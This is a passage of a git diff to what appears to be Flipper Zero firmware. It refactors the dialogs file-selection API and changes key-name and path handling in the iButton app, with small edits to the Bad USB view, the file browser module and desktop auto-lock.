+149,11 @@ void bad_usb_set_ok_callback(BadUsb* bad_usb, BadUsbOkCallback callback, void* c }); } -void bad_usb_set_file_name(BadUsb* bad_usb, const char* name) { +void bad_usb_set_file_name(BadUsb* bad_usb, char* name) { furi_assert(name); with_view_model( bad_usb->view, (BadUsbModel * model) { - strncpy(model->file_name, name, MAX_NAME_LEN); + model->file_name = name; return true; }); } diff --git a/applications/bad_usb/views/bad_usb_view.h b/applications/bad_usb/views/bad_usb_view.h index 80a47e2ca..f5a8a0fab 100755 --- a/applications/bad_usb/views/bad_usb_view.h +++ b/applications/bad_usb/views/bad_usb_view.h @@ -14,6 +14,6 @@ View* bad_usb_get_view(BadUsb* bad_usb); void bad_usb_set_ok_callback(BadUsb* bad_usb, BadUsbOkCallback callback, void* context); -void bad_usb_set_file_name(BadUsb* bad_usb, const char* name); +void bad_usb_set_file_name(BadUsb* bad_usb, char* name); void bad_usb_set_state(BadUsb* bad_usb, BadUsbState* st); diff --git a/applications/debug_tools/file_browser_test/file_browser_app.c b/applications/debug_tools/file_browser_test/file_browser_app.c index c9b63ecb0..a408f5cde 100644 --- a/applications/debug_tools/file_browser_test/file_browser_app.c +++ b/applications/debug_tools/file_browser_test/file_browser_app.c @@ -48,7 +48,7 @@ FileBrowserApp* file_browser_app_alloc(char* arg) { app->widget = widget_alloc(); string_init(app->file_path); - app->file_browser = file_browser_alloc(app->file_path); + app->file_browser = file_browser_alloc(&(app->file_path)); file_browser_configure(app->file_browser, "*", true, &I_badusb_10px, true); view_dispatcher_add_view( diff --git a/applications/debug_tools/file_browser_test/scenes/file_browser_scene_browser.c b/applications/debug_tools/file_browser_test/scenes/file_browser_scene_browser.c index ca16ad0d1..9c570cec0 100644 --- a/applications/debug_tools/file_browser_test/scenes/file_browser_scene_browser.c +++ b/applications/debug_tools/file_browser_test/scenes/file_browser_scene_browser.c @@ -20,10 +20,12 @@ bool file_browser_scene_browser_on_event(void* context, SceneManagerEvent event) return consumed; } -static void file_browser_callback(void* context) { +static void file_browser_callback(void* context, bool state) { FileBrowserApp* app = context; furi_assert(app); view_dispatcher_send_custom_event(app->view_dispatcher, SceneManagerEventTypeCustom); + + UNUSED(state); } void file_browser_scene_browser_on_enter(void* context) { diff --git a/applications/desktop/desktop.c b/applications/desktop/desktop.c index 34c169e07..514166375 100644 --- a/applications/desktop/desktop.c +++ b/applications/desktop/desktop.c @@ -56,7 +56,12 @@ static bool desktop_custom_event_callback(void* context, uint32_t event) { return true; case DesktopGlobalAutoLock: if(!loader_is_locked(desktop->loader)) { - desktop_lock(desktop); + if(desktop->settings.pin_code.length > 0) { + desktop_pin_lock(&desktop->settings); + desktop_lock(desktop); + } else { + desktop_lock(desktop); + } } return true; } diff --git a/applications/dialogs/dialogs.c b/applications/dialogs/dialogs.c index 8929dc116..cf4a2ad68 100644 --- a/applications/dialogs/dialogs.c +++ b/applications/dialogs/dialogs.c @@ -1,7 +1,6 @@ -#include "dialogs/dialogs_message.h" #include "dialogs_i.h" #include "dialogs_api_lock.h" -#include "dialogs_module_file_browser.h" +#include "dialogs_module_file_select.h" #include "dialogs_module_message.h" static DialogsApp* dialogs_app_alloc() { @@ -14,9 +13,9 @@ static DialogsApp* dialogs_app_alloc() { static void dialogs_app_process_message(DialogsApp* app, DialogsAppMessage* message) { UNUSED(app); switch(message->command) { - case DialogsAppCommandFileBrowser: + case DialogsAppCommandFileOpen: message->return_data->bool_value = - dialogs_app_process_module_file_browser(&message->data->file_browser); + dialogs_app_process_module_file_select(&message->data->file_select); break; case DialogsAppCommandDialog: message->return_data->dialog_value = diff --git a/applications/dialogs/dialogs.h b/applications/dialogs/dialogs.h index 536060565..9c71c0989 100644 --- a/applications/dialogs/dialogs.h +++ b/applications/dialogs/dialogs.h @@ -1,7 +1,6 @@ #pragma once #include #include -#include "m-string.h" #ifdef __cplusplus extern "C" { @@ -11,27 +10,25 @@ extern "C" { typedef struct DialogsApp DialogsApp; -/****************** FILE BROWSER ******************/ +/****************** FILE SELECT ******************/ /** - * Shows and processes the file browser dialog + * Shows and processes the file selection dialog * @param context api pointer - * @param result_path selected file path string pointer - * @param path preselected file path string pointer + * @param path path to directory * @param extension file extension to be offered for selection - * @param skip_assets true - do not show assets folders - * @param icon file icon pointer, NULL for default icon - * @param hide_ext true - hide extensions for files + * @param selected_filename buffer where the selected filename will be saved + * @param selected_filename_size and the size of this buffer + * @param preselected_filename filename to be preselected * @return bool whether a file was selected */ -bool dialog_file_browser_show( +bool dialog_file_select_show( DialogsApp* context, - string_ptr result_path, - string_ptr path, + const char* path, const char* extension, - bool skip_assets, - const Icon* icon, - bool hide_ext); + char* result, + uint8_t result_size, + const char* preselected_filename); /****************** MESSAGE ******************/ diff --git a/applications/dialogs/dialogs_api.c b/applications/dialogs/dialogs_api.c index fab3a5eae..c4efb287d 100644 --- a/applications/dialogs/dialogs_api.c +++ b/applications/dialogs/dialogs_api.c @@ -1,36 +1,31 @@ -#include "dialogs/dialogs_message.h" #include "dialogs_i.h" #include "dialogs_api_lock.h" -#include "m-string.h" -/****************** File browser ******************/ +/****************** File select ******************/ -bool dialog_file_browser_show( +bool dialog_file_select_show( DialogsApp* context, - string_ptr result_path, - string_ptr path, + const char* path, const char* extension, - bool skip_assets, - const Icon* icon, - bool hide_ext) { + char* result, + uint8_t result_size, + const char* preselected_filename) { FuriApiLock lock = API_LOCK_INIT_LOCKED(); furi_check(lock != NULL); DialogsAppData data = { - .file_browser = { + .file_select = { + .path = path, .extension = extension, - .result_path = result_path, - .file_icon = icon, - .hide_ext = hide_ext, - .skip_assets = skip_assets, - .preselected_filename = path, - + .result = result, + .result_size = result_size, + .preselected_filename = preselected_filename, }}; DialogsAppReturn return_data; DialogsAppMessage message = { .lock = lock, - .command = DialogsAppCommandFileBrowser, + .command = DialogsAppCommandFileOpen, .data = &data, .return_data = &return_data, }; diff --git a/applications/dialogs/dialogs_message.h b/applications/dialogs/dialogs_message.h index ccfbdece5..d7b5fabf4 100644 --- a/applications/dialogs/dialogs_message.h +++ b/applications/dialogs/dialogs_message.h @@ -2,27 +2,25 @@ #include #include "dialogs_i.h" #include "dialogs_api_lock.h" -#include "m-string.h" #ifdef __cplusplus extern "C" { #endif typedef struct { + const char* path; const char* extension; - bool skip_assets; - bool hide_ext; - const Icon* file_icon; - string_ptr result_path; - string_ptr preselected_filename; -} DialogsAppMessageDataFileBrowser; + char* result; + uint8_t result_size; + const char* preselected_filename; +} DialogsAppMessageDataFileSelect; typedef struct { const DialogMessage* message; } DialogsAppMessageDataDialog; typedef union { - DialogsAppMessageDataFileBrowser file_browser; + DialogsAppMessageDataFileSelect file_select; DialogsAppMessageDataDialog dialog; } DialogsAppData; @@ -32,7 +30,7 @@ typedef union { } DialogsAppReturn; typedef enum { - DialogsAppCommandFileBrowser, + DialogsAppCommandFileOpen, DialogsAppCommandDialog, } DialogsAppCommand; diff --git a/applications/dialogs/dialogs_module_file_browser.c b/applications/dialogs/dialogs_module_file_browser.c deleted file mode 100644 index ecd0ca79b..000000000 --- a/applications/dialogs/dialogs_module_file_browser.c +++ /dev/null @@ -1,59 +0,0 @@ -#include "dialogs_i.h" -#include "dialogs_api_lock.h" -#include "gui/modules/file_browser.h" - -typedef struct { - FuriApiLock lock; - bool result; -} DialogsAppFileBrowserContext; - -static void dialogs_app_file_browser_back_callback(void* context) { - furi_assert(context); - DialogsAppFileBrowserContext* file_browser_context = context; - file_browser_context->result = false; - API_LOCK_UNLOCK(file_browser_context->lock); -} - -static void dialogs_app_file_browser_callback(void* context) { - furi_assert(context); - DialogsAppFileBrowserContext* file_browser_context = context; - file_browser_context->result = true; - API_LOCK_UNLOCK(file_browser_context->lock); -} - -bool dialogs_app_process_module_file_browser(const DialogsAppMessageDataFileBrowser* data) { - bool ret = false; - Gui* gui = furi_record_open("gui"); - - DialogsAppFileBrowserContext* file_browser_context = - malloc(sizeof(DialogsAppFileBrowserContext)); - file_browser_context->lock = API_LOCK_INIT_LOCKED(); - - ViewHolder* view_holder = view_holder_alloc(); - view_holder_attach_to_gui(view_holder, gui); - view_holder_set_back_callback( - view_holder, dialogs_app_file_browser_back_callback, file_browser_context); - - FileBrowser* file_browser = file_browser_alloc(data->result_path); - file_browser_set_callback( - file_browser, dialogs_app_file_browser_callback, file_browser_context); - file_browser_configure( - file_browser, data->extension, data->skip_assets, data->file_icon, data->hide_ext); - file_browser_start(file_browser, data->preselected_filename); - - view_holder_set_view(view_holder, file_browser_get_view(file_browser)); - view_holder_start(view_holder); - API_LOCK_WAIT_UNTIL_UNLOCK(file_browser_context->lock); - - ret = file_browser_context->result; - - view_holder_stop(view_holder); - view_holder_free(view_holder); - file_browser_stop(file_browser); - file_browser_free(file_browser); - API_LOCK_FREE(file_browser_context->lock); - free(file_browser_context); - furi_record_close("gui"); - - return ret; -} diff --git a/applications/dialogs/dialogs_module_file_browser.h b/applications/dialogs/dialogs_module_file_browser.h deleted file mode 100644 index b6cbdf6a5..000000000 --- a/applications/dialogs/dialogs_module_file_browser.h +++ /dev/null @@ -1,12 +0,0 @@ -#pragma once -#include "dialogs_message.h" - -#ifdef __cplusplus -extern "C" { -#endif - -bool dialogs_app_process_module_file_browser(const DialogsAppMessageDataFileBrowser* data); - -#ifdef __cplusplus -} -#endif diff --git a/applications/gui/modules/file_browser.c b/applications/gui/modules/file_browser.c index 1cef1d079..919750962 100644 --- a/applications/gui/modules/file_browser.c +++ b/applications/gui/modules/file_browser.c @@ -10,7 +10,6 @@ #include #include #include -#include "toolbox/path.h" #define LIST_ITEMS 5u #define MAX_LEN_PX 110 @@ -61,13 +60,13 @@ ARRAY_DEF( struct FileBrowser { View* view; BrowserWorker* worker; - const char* ext_filter; + char* ext_filter; bool skip_assets; FileBrowserCallback callback; void* context; - string_ptr result_path; + string_t* result_path; }; typedef struct { @@ -101,7 +100,7 @@ static void browser_list_load_cb(void* context, uint32_t list_load_offset); static void browser_list_item_cb(void* context, string_t item_path, bool is_folder, bool is_last); static void browser_long_load_cb(void* context); -FileBrowser* file_browser_alloc(string_ptr result_path) { +FileBrowser* file_browser_alloc(string_t* result_path) { furi_assert(result_path); FileBrowser* browser = malloc(sizeof(FileBrowser)); browser->view = view_alloc(); @@ -141,7 +140,7 @@ View* file_browser_get_view(FileBrowser* browser) { void file_browser_configure( FileBrowser* browser, - const char* extension, + char* extension, bool skip_assets, const Icon* file_icon, bool hide_ext) { @@ -251,7 +250,6 @@ static void with_view_model( browser->view, (FileBrowserModel * model) { - items_array_reset(model->items); if(is_root) { model->item_cnt = item_cnt; model->item_idx = (file_idx > 0) ? file_idx : 0; @@ -385,7 +383,7 @@ static void browser_draw_list(Canvas* canvas, FileBrowserModel* model) { BrowserItem_t* item = items_array_get( model->items, CLAMP(idx - model->array_offset, (int32_t)(array_size - 1), 0)); item_type = item->type; - path_extract_filename( + file_browser_worker_get_filename( item->path, filename, (model->hide_ext) && (item_type == BrowserItemTypeFile)); } else { string_set_str(filename, "---"); @@ -507,9 +505,9 @@ static bool file_browser_view_input_callback(InputEvent* event, void* context) { file_browser_worker_folder_enter( browser->worker, selected_item->path, select_index); } else if(selected_item->type == BrowserItemTypeFile) { - string_set(browser->result_path, selected_item->path); + string_set(*(browser->result_path), selected_item->path); if(browser->callback) { - browser->callback(browser->context); + browser->callback(browser->context, true); } } } diff --git a/applications/gui/modules/file_browser.h b/applications/gui/modules/file_browser.h index ebc64509a..b77c6e65c 100644 --- a/applications/gui/modules/file_browser.h +++ b/applications/gui/modules/file_browser.h @@ -13,9 +13,9 @@ extern "C" { #endif typedef struct FileBrowser FileBrowser; -typedef void (*FileBrowserCallback)(void* context); +typedef void (*FileBrowserCallback)(void* context, bool state); -FileBrowser* file_browser_alloc(string_ptr result_path); +FileBrowser* file_browser_alloc(string_t* result_path); void file_browser_free(FileBrowser* browser); @@ -23,7 +23,7 @@ View* file_browser_get_view(FileBrowser* browser); void file_browser_configure( FileBrowser* browser, - const char* extension, + char* extension, bool skip_assets, const Icon* file_icon, bool hide_ext); diff --git a/applications/gui/modules/file_browser_worker.c b/applications/gui/modules/file_browser_worker.c index 93baba008..13fc97111 100644 --- a/applications/gui/modules/file_browser_worker.c +++ b/applications/gui/modules/file_browser_worker.c @@ -8,7 +8,6 @@ #include #include #include -#include "toolbox/path.h" #define TAG "BrowserWorker" @@ -150,7 +149,6 @@ static bool browser_folder_init( (*item_cnt)++; } if(total_files_cnt == LONG_LOAD_THRESHOLD) { - // There are too many files in folder and counting them will take some time - send callback to app if(browser->long_load_cb) { browser->long_load_cb(browser->cb_ctx); } @@ -257,7 +255,7 @@ static int32_t browser_worker(void* context) { string_t filename; string_init(filename); if(browser_path_is_file(browser->path_next)) { - path_extract_filename(browser->path_next, filename, false); + file_browser_worker_get_filename(browser->path_next, filename, false); } osThreadFlagsSet(furi_thread_get_thread_id(browser->thread), WorkerEvtFolderEnter); @@ -321,7 +319,21 @@ static int32_t browser_worker(void* context) { return 0; } -BrowserWorker* file_browser_worker_alloc(string_t path, const char* filter_ext, bool skip_assets) { +void file_browser_worker_get_filename(string_t path, string_t name, bool trim_ext) { + size_t filename_start = string_search_rchar(path, '/'); + if(filename_start > 0) { + filename_start++; + string_set_n(name, path, filename_start, string_size(path) - filename_start); + } + if(trim_ext) { + size_t dot = string_search_rchar(name, '.'); + if(dot > 0) { + string_left(name, dot); + } + } +} + +BrowserWorker* file_browser_worker_alloc(string_t path, char* filter_ext, bool skip_assets) { BrowserWorker* browser = malloc(sizeof(BrowserWorker)); idx_last_array_init(browser->idx_last); diff --git a/applications/gui/modules/file_browser_worker.h b/applications/gui/modules/file_browser_worker.h index b0d360a38..821d5103f 100644 --- a/applications/gui/modules/file_browser_worker.h +++ b/applications/gui/modules/file_browser_worker.h @@ -22,7 +22,9 @@ typedef void (*BrowserWorkerListItemCallback)( bool is_last); typedef void (*BrowserWorkerLongLoadCallback)(void* context); -BrowserWorker* file_browser_worker_alloc(string_t path, const char* filter_ext, bool skip_assets); +void file_browser_worker_get_filename(string_t path, string_t name, bool trim_ext); + +BrowserWorker* file_browser_worker_alloc(string_t path, char* filter_ext, bool skip_assets); void file_browser_worker_free(BrowserWorker* browser); diff --git a/applications/gui/modules/validators.c b/applications/gui/modules/validators.c index 546423d02..242dbe682 100644 --- a/applications/gui/modules/validators.c +++ b/applications/gui/modules/validators.c @@ -3,7 +3,7 @@ #include "applications/storage/storage.h" struct ValidatorIsFile { - char* app_path_folder; + const char* app_path_folder; const char* app_extension; char* current_name; }; @@ -40,7 +40,7 @@ ValidatorIsFile* validator_is_file_alloc_init( const char* current_name) { ValidatorIsFile* instance = malloc(sizeof(ValidatorIsFile)); - instance->app_path_folder = strdup(app_path_folder); + instance->app_path_folder = app_path_folder; instance->app_extension = app_extension; instance->current_name = strdup(current_name); @@ -49,7 +49,6 @@ ValidatorIsFile* validator_is_file_alloc_init( void validator_is_file_free(ValidatorIsFile* instance) { furi_assert(instance); - free(instance->app_path_folder); free(instance->current_name); free(instance); } diff --git a/applications/ibutton/ibutton.c b/applications/ibutton/ibutton.c index b1b5bf62f..a38f077f3 100644 --- a/applications/ibutton/ibutton.c +++ b/applications/ibutton/ibutton.c @@ -1,8 +1,7 @@ #include "ibutton.h" -#include "assets_icons.h" #include "ibutton_i.h" #include "ibutton/scenes/ibutton_scene.h" -#include "m-string.h" + #include #include @@ -86,8 +85,6 @@ void ibutton_tick_event_callback(void* context) { iButton* ibutton_alloc() { iButton* ibutton = malloc(sizeof(iButton)); - string_init(ibutton->file_path); - ibutton->scene_manager = scene_manager_alloc(&ibutton_scene_handlers, ibutton); ibutton->view_dispatcher = view_dispatcher_alloc(); @@ -179,28 +176,49 @@ void ibutton_free(iButton* ibutton) { ibutton_worker_free(ibutton->key_worker); ibutton_key_free(ibutton->key); - string_clear(ibutton->file_path); - free(ibutton); } bool ibutton_file_select(iButton* ibutton) { - bool success = dialog_file_browser_show( + bool success = dialog_file_select_show( ibutton->dialogs, - ibutton->file_path, - ibutton->file_path, + IBUTTON_APP_FOLDER, IBUTTON_APP_EXTENSION, - true, - &I_ibutt_10px, - true); + ibutton->file_name, + IBUTTON_FILE_NAME_SIZE, + ibutton_key_get_name_p(ibutton->key)); if(success) { - success = ibutton_load_key_data(ibutton, ibutton->file_path); + string_t key_str; + string_init_printf( + key_str, "%s/%s%s", IBUTTON_APP_FOLDER, ibutton->file_name, IBUTTON_APP_EXTENSION); + success = ibutton_load_key_data(ibutton, key_str); + + if(success) { + ibutton_key_set_name(ibutton->key, ibutton->file_name); + } + + string_clear(key_str); } return success; } +bool ibutton_load_key(iButton* ibutton, const char* key_name) { + string_t key_path; + string_init_set_str(key_path, key_name); + + const bool success = ibutton_load_key_data(ibutton, key_path); + + if(success) { + path_extract_filename_no_ext(key_name, key_path); + ibutton_key_set_name(ibutton->key, string_get_cstr(key_path)); + } + + string_clear(key_path); + return success; +} + bool ibutton_save_key(iButton* ibutton, const char* key_name) { // Create ibutton directory if necessary ibutton_make_app_folder(ibutton); @@ -208,22 +226,27 @@ bool ibutton_save_key(iButton* ibutton, const char* key_name) { FlipperFormat* file = flipper_format_file_alloc(ibutton->storage); iButtonKey* key = ibutton->key; + string_t key_file_name; bool result = false; + string_init(key_file_name); do { // First remove key if it was saved (we rename the key) - ibutton_delete_key(ibutton); + if(!ibutton_delete_key(ibutton)) break; + + // Save the key + ibutton_key_set_name(key, key_name); // Set full file name, for new key - if(string_end_with_str_p(ibutton->file_path, IBUTTON_APP_EXTENSION)) { - size_t filename_start = string_search_rchar(ibutton->file_path, '/'); - string_left(ibutton->file_path, filename_start); - } - - string_cat_printf(ibutton->file_path, "/%s%s", key_name, IBUTTON_APP_EXTENSION); + string_printf( + key_file_name, + "%s/%s%s", + IBUTTON_APP_FOLDER, + ibutton_key_get_name_p(key), + IBUTTON_APP_EXTENSION); // Open file for write - if(!flipper_format_file_open_always(file, string_get_cstr(ibutton->file_path))) break; + if(!flipper_format_file_open_always(file, string_get_cstr(key_file_name))) break; // Write header if(!flipper_format_write_header_cstr(file, IBUTTON_APP_FILE_TYPE, 1)) break; @@ -248,6 +271,8 @@ bool ibutton_save_key(iButton* ibutton, const char* key_name) { flipper_format_free(file); + string_clear(key_file_name); + if(!result) { dialog_message_show_storage_error(ibutton->dialogs, "Cannot save\nkey file"); } @@ -256,8 +281,17 @@ bool ibutton_save_key(iButton* ibutton, const char* key_name) { } bool ibutton_delete_key(iButton* ibutton) { + string_t file_name; bool result = false; - result = storage_simply_remove(ibutton->storage, string_get_cstr(ibutton->file_path)); + + string_init_printf( + file_name, + "%s/%s%s", + IBUTTON_APP_FOLDER, + ibutton_key_get_name_p(ibutton->key), + IBUTTON_APP_EXTENSION); + result = storage_simply_remove(ibutton->storage, string_get_cstr(file_name)); + string_clear(file_name); return result; } @@ -301,17 +335,8 @@ int32_t ibutton_app(void* p) { ibutton_make_app_folder(ibutton); - bool key_loaded = false; - - if(p) { - string_set_str(ibutton->file_path, (const char*)p); - if(ibutton_load_key_data(ibutton, ibutton->file_path)) { - key_loaded = true; - // TODO: Display an error if the key from p could not be loaded - } - } - - if(key_loaded) { + if(p && ibutton_load_key(ibutton, (const char*)p)) { + // TODO: Display an error if the key from p could not be loaded scene_manager_next_scene(ibutton->scene_manager, iButtonSceneEmulate); } else { scene_manager_next_scene(ibutton->scene_manager, iButtonSceneStart); diff --git a/applications/ibutton/ibutton_i.h b/applications/ibutton/ibutton_i.h index e66712bee..36857fd64 100644 --- a/applications/ibutton/ibutton_i.h +++ b/applications/ibutton/ibutton_i.h @@ -41,7 +41,7 @@ struct iButton { iButtonWorker* key_worker; iButtonKey* key; - string_t file_path; + char file_name[IBUTTON_FILE_NAME_SIZE]; char text_store[IBUTTON_TEXT_STORE_SIZE + 1]; Submenu* submenu; @@ -74,6 +74,7 @@ typedef enum { } iButtonNotificationMessage; bool ibutton_file_select(iButton* ibutton); +bool ibutton_load_key(iButton* ibutton, const char* key_name); bool ibutton_save_key(iButton* ibutton, const char* key_name); bool ibutton_delete_key(iButton* ibutton); void ibutton_text_store_set(iButton* ibutton, const char* text, ...); diff --git a/applications/ibutton/scenes/ibutton_scene_add_type.c b/applications/ibutton/scenes/ibutton_scene_add_type.c index 273330e71..db129295a 100644 --- a/applications/ibutton/scenes/ibutton_scene_add_type.c +++ b/applications/ibutton/scenes/ibutton_scene_add_type.c @@ -1,5 +1,4 @@ #include "../ibutton_i.h" -#include "m-string.h" enum SubmenuIndex { SubmenuIndexCyfral, @@ -45,7 +44,7 @@ bool ibutton_scene_add_type_on_event(void* context, SceneManagerEvent event) { furi_crash("Unknown key type"); } - string_set_str(ibutton->file_path, IBUTTON_APP_FOLDER); + ibutton_key_set_name(key, ""); ibutton_key_clear_data(key); scene_manager_next_scene(ibutton->scene_manager, iButtonSceneAddValue); } diff --git a/applications/ibutton/scenes/ibutton_scene_delete_confirm.c b/applications/ibutton/scenes/ibutton_scene_delete_confirm.c index 51f1f2794..73ea97cc6 100644 --- a/applications/ibutton/scenes/ibutton_scene_delete_confirm.c +++ b/applications/ibutton/scenes/ibutton_scene_delete_confirm.c @@ -1,5 +1,4 @@ #include "../ibutton_i.h" -#include static void ibutton_scene_delete_confirm_widget_callback( GuiButtonType result, @@ -17,11 +16,7 @@ void ibutton_scene_delete_confirm_on_enter(void* context) { iButtonKey* key = ibutton->key; const uint8_t* key_data = ibutton_key_get_data_p(key); - string_t key_name; - string_init(key_name); - path_extract_filename(ibutton->file_path, key_name, true); - - ibutton_text_store_set(ibutton, "\e#Delete %s?\e#", string_get_cstr(key_name)); + ibutton_text_store_set(ibutton, "\e#Delete %s?\e#", ibutton_key_get_name_p(key)); widget_add_text_box_element( widget, 0, 0, 128, 27, AlignCenter, AlignCenter, ibutton->text_store, false); widget_add_button_element( @@ -67,8 +62,6 @@ void ibutton_scene_delete_confirm_on_enter(void* context) { widget, 64, 33, AlignCenter, AlignBottom, FontSecondary, ibutton->text_store); view_dispatcher_switch_to_view(ibutton->view_dispatcher, iButtonViewWidget); - - string_clear(key_name); } bool ibutton_scene_delete_confirm_on_event(void* context, SceneManagerEvent event) { diff --git a/applications/ibutton/scenes/ibutton_scene_emulate.c b/applications/ibutton/scenes/ibutton_scene_emulate.c index 590223979..8ffe73b66 100644 --- a/applications/ibutton/scenes/ibutton_scene_emulate.c +++ b/applications/ibutton/scenes/ibutton_scene_emulate.c @@ -1,6 +1,5 @@ #include "../ibutton_i.h" #include -#include static void ibutton_scene_emulate_callback(void* context, bool emulated) { iButton* ibutton = context; @@ -16,19 +15,14 @@ void ibutton_scene_emulate_on_enter(void* context) { iButtonKey* key = ibutton->key; const uint8_t* key_data = ibutton_key_get_data_p(key); - - string_t key_name; - string_init(key_name); - if(string_end_with_str_p(ibutton->file_path, IBUTTON_APP_EXTENSION)) { - path_extract_filename(ibutton->file_path, key_name, true); - } + const char* key_name = ibutton_key_get_name_p(key); uint8_t line_count = 2; DOLPHIN_DEED(DolphinDeedIbuttonEmulate); // check that stored key has name - if(!string_empty_p(key_name)) { - ibutton_text_store_set(ibutton, "emulating\n%s", string_get_cstr(key_name)); + if(strcmp(key_name, "") != 0) { + ibutton_text_store_set(ibutton, "emulating\n%s", key_name); line_count = 2; } else { // if not, show key data @@ -83,8 +77,6 @@ void ibutton_scene_emulate_on_enter(void* context) { ibutton_worker_emulate_set_callback( ibutton->key_worker, ibutton_scene_emulate_callback, ibutton); ibutton_worker_emulate_start(ibutton->key_worker, key); - - string_clear(key_name); } bool ibutton_scene_emulate_on_event(void* context, SceneManagerEvent event) { diff --git a/applications/ibutton/scenes/ibutton_scene_info.c b/applications/ibutton/scenes/ibutton_scene_info.c index bd364ada8..5b0af1d8f 100644 --- a/applications/ibutton/scenes/ibutton_scene_info.c +++ b/applications/ibutton/scenes/ibutton_scene_info.c @@ -1,5 +1,4 @@ #include "../ibutton_i.h" -#include void ibutton_scene_info_on_enter(void* context) { iButton* ibutton = context; @@ -8,11 +7,7 @@ void ibutton_scene_info_on_enter(void* context) { const uint8_t* key_data = ibutton_key_get_data_p(key); - string_t key_name; - string_init(key_name); - path_extract_filename(ibutton->file_path, key_name, true); - - ibutton_text_store_set(ibutton, "%s", string_get_cstr(key_name)); + ibutton_text_store_set(ibutton, "%s", ibutton_key_get_name_p(key)); widget_add_text_box_element( widget, 0, 0, 128, 28, AlignCenter, AlignCenter, ibutton->text_store, false); @@ -51,8 +46,6 @@ void ibutton_scene_info_on_enter(void* context) { widget, 64, 35, AlignCenter, AlignBottom, FontPrimary, ibutton->text_store); view_dispatcher_switch_to_view(ibutton->view_dispatcher, iButtonViewWidget); - - string_clear(key_name); } bool ibutton_scene_info_on_event(void* context, SceneManagerEvent event) { diff --git a/applications/ibutton/scenes/ibutton_scene_read.c b/applications/ibutton/scenes/ibutton_scene_read.c index 0cc0a8dff..a25f27e60 100644 --- a/applications/ibutton/scenes/ibutton_scene_read.c +++ b/applications/ibutton/scenes/ibutton_scene_read.c @@ -18,7 +18,7 @@ void ibutton_scene_read_on_enter(void* context) { popup_set_icon(popup, 0, 5, &I_DolphinWait_61x59); view_dispatcher_switch_to_view(ibutton->view_dispatcher, iButtonViewPopup); - string_set_str(ibutton->file_path, IBUTTON_APP_FOLDER); + ibutton_key_set_name(key, ""); ibutton_worker_read_set_callback(worker, ibutton_scene_read_callback, ibutton); ibutton_worker_read_start(worker, key); diff --git a/applications/ibutton/scenes/ibutton_scene_save_name.c b/applications/ibutton/scenes/ibutton_scene_save_name.c index 6caf5d2d5..b1baf6afc 100644 --- a/applications/ibutton/scenes/ibutton_scene_save_name.c +++ b/applications/ibutton/scenes/ibutton_scene_save_name.c @@ -1,7 +1,5 @@ #include "../ibutton_i.h" -#include "m-string.h" #include -#include static void ibutton_scene_save_name_text_input_callback(void* context) { iButton* ibutton = context; @@ -12,17 +10,13 @@ void ibutton_scene_save_name_on_enter(void* context) { iButton* ibutton = context; TextInput* text_input = ibutton->text_input; - string_t key_name; - string_init(key_name); - if(string_end_with_str_p(ibutton->file_path, IBUTTON_APP_EXTENSION)) { - path_extract_filename(ibutton->file_path, key_name, true); - } + const char* key_name = ibutton_key_get_name_p(ibutton->key); + const bool key_name_is_empty = !strcmp(key_name, ""); - const bool key_name_is_empty = string_empty_p(key_name); if(key_name_is_empty) { set_random_name(ibutton->text_store, IBUTTON_TEXT_STORE_SIZE); } else { - ibutton_text_store_set(ibutton, "%s", string_get_cstr(key_name)); + ibutton_text_store_set(ibutton, "%s", key_name); } text_input_set_header_text(text_input, "Name the key"); @@ -34,19 +28,11 @@ void ibutton_scene_save_name_on_enter(void* context) { IBUTTON_KEY_NAME_SIZE, key_name_is_empty); - string_t folder_path; - string_init(folder_path); - - path_extract_dirname(string_get_cstr(ibutton->file_path), folder_path); - - ValidatorIsFile* validator_is_file = validator_is_file_alloc_init( - string_get_cstr(folder_path), IBUTTON_APP_EXTENSION, string_get_cstr(key_name)); + ValidatorIsFile* validator_is_file = + validator_is_file_alloc_init(IBUTTON_APP_FOLDER, IBUTTON_APP_EXTENSION, key_name); text_input_set_validator(text_input, validator_is_file_callback, validator_is_file); view_dispatcher_switch_to_view(ibutton->view_dispatcher, iButtonViewTextInput); - - string_clear(key_name); - string_clear(folder_path); } bool ibutton_scene_save_name_on_event(void* context, SceneManagerEvent event) { diff --git a/applications/ibutton/scenes/ibutton_scene_start.c b/applications/ibutton/scenes/ibutton_scene_start.c index cc8af9839..a3141f5ad 100644 --- a/applications/ibutton/scenes/ibutton_scene_start.c +++ b/applications/ibutton/scenes/ibutton_scene_start.c @@ -36,7 +36,6 @@ bool ibutton_scene_start_on_event(void* context, SceneManagerEvent event) { if(event.event == SubmenuIndexRead) { scene_manager_next_scene(ibutton->scene_manager, iButtonSceneRead); } else if(event.event == SubmenuIndexSaved) { - string_set_str(ibutton->file_path, IBUTTON_APP_FOLDER); scene_manager_next_scene(ibutton->scene_manager, iButtonSceneSelectKey); } else if(event.event == SubmenuIndexAdd) { scene_manager_next_scene(ibutton->scene_manager, iButtonSceneAddType); diff --git a/applications/ibutton/scenes/ibutton_scene_write.c b/applications/ibutton/scenes/ibutton_scene_write.c index 4ce19408a..35e45d83b 100644 --- a/applications/ibutton/scenes/ibutton_scene_write.c +++ b/applications/ibutton/scenes/ibutton_scene_write.c @@ -1,6 +1,4 @@ #include "../ibutton_i.h" -#include "m-string.h" -#include "toolbox/path.h" typedef enum { iButtonSceneWriteStateDefault, @@ -19,18 +17,13 @@ void ibutton_scene_write_on_enter(void* context) { iButtonWorker* worker = ibutton->key_worker; const uint8_t* key_data = ibutton_key_get_data_p(key); - - string_t key_name; - string_init(key_name); - if(string_end_with_str_p(ibutton->file_path, IBUTTON_APP_EXTENSION)) { - path_extract_filename(ibutton->file_path, key_name, true); - } + const char* key_name = ibutton_key_get_name_p(key); uint8_t line_count = 2; // check that stored key has name - if(!string_empty_p(key_name)) { - ibutton_text_store_set(ibutton, "writing\n%s", string_get_cstr(key_name)); + if(strcmp(key_name, "") != 0) { + ibutton_text_store_set(ibutton, "writing\n%s", key_name); line_count = 2; } else { // if not, show key data @@ -86,8 +79,6 @@ void ibutton_scene_write_on_enter(void* context) { ibutton_worker_write_set_callback(worker, ibutton_scene_write_callback, ibutton); ibutton_worker_write_start(worker, key); - - string_clear(key_name); } bool ibutton_scene_write_on_event(void* context, SceneManagerEvent event) { diff --git a/applications/infrared/infrared_app.cpp b/applications/infrared/infrared_app.cpp index 1ac859d10..5dc3b311d 100644 --- a/applications/infrared/infrared_app.cpp +++ b/applications/infrared/infrared_app.cpp @@ -1,5 +1,4 @@ #include "infrared_app.h" -#include "m-string.h" #include #include #include @@ -13,18 +12,20 @@ int32_t InfraredApp::run(void* args) { bool exit = false; if(args) { 